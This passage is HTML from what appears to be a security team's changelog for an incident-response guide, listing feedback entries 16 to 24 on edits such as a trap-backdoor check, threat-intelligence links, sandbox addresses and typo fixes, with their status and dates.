#ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-19 22:04</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">按照公开方法，目前无法有效找到验证签名的公钥，采用日志的方式进行辅助判断</span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">16.  trap 检查</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0016</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-01-12 13:29</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">检查是否存在 trap 后门</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已添加</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-31 22:45:02</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">17.  完善威胁情报部分链接</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0017</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2023-12-29 10:57</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">修复部分威胁情报的链接，添加部分威胁情报网站</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已完善</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-15 00:05</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">18.  添加 process monitor 的使用</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0018</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2023-12-29 10:57</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">考虑添加 process monitor Linux 版</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">暂不添加</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">目前没有看出明显优势，后期可以和其他工具一起加入</span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">19.  挖矿部分标题文字修复</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0019</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2023-12-29 10:57</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">0x05 标题少了一个空格</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已修复</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-15 00:05</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">20.  完善沙箱部分</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0020</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2023-12-29 10:57</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完善沙箱部分，添加一些沙箱地址</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已完善</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-15 00:06</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">21.  添加进程暂停技巧</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0021</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2023-12-29 10:57</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">添加进程暂停技巧</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已添加</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-18 00:22</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">后期可能会放到各个处置流程中去</span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">22.  修复非持续事件部分文字错误【文字错误】</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0022</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2023-12-29 10:57</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">0x02 修改域名解析记录章节中括号内 内存 -&gt; 内网</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已修复</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-15 00:04</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">23.  非持续事件处置流程添加常规安全检查阶段</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0023</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2023-12-29 10:57</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">非持续事件处置流程添加常规安全检查阶段</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已添加</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-18 00:13</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span style="display: none;"></span><span leaf="">24.  改变更新日记的格式</span><span style="display: none;"></span></h3><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈项</span></section></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;font-weight: bold;background-color: #f0f0f0;text-align: left;"><section><span leaf="">反馈信息</span></section></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈编号</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">LYJXY-0024</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈者</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">NOP Team</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-14 19:42</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈途径</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">作者自查</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">反馈内容</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">更新日记的格式太占空间了，往期更新日记只记录版本号和日期，本次更新日记详细展示</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成情况</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">已完善</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">完成时间</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">2024-07-14 20:11</span></section></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf="">备注信息</span></section></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><section><span leaf=""><br/></span></section></td></tr></tbody></table><h3 data-tool="mdnice编辑器" 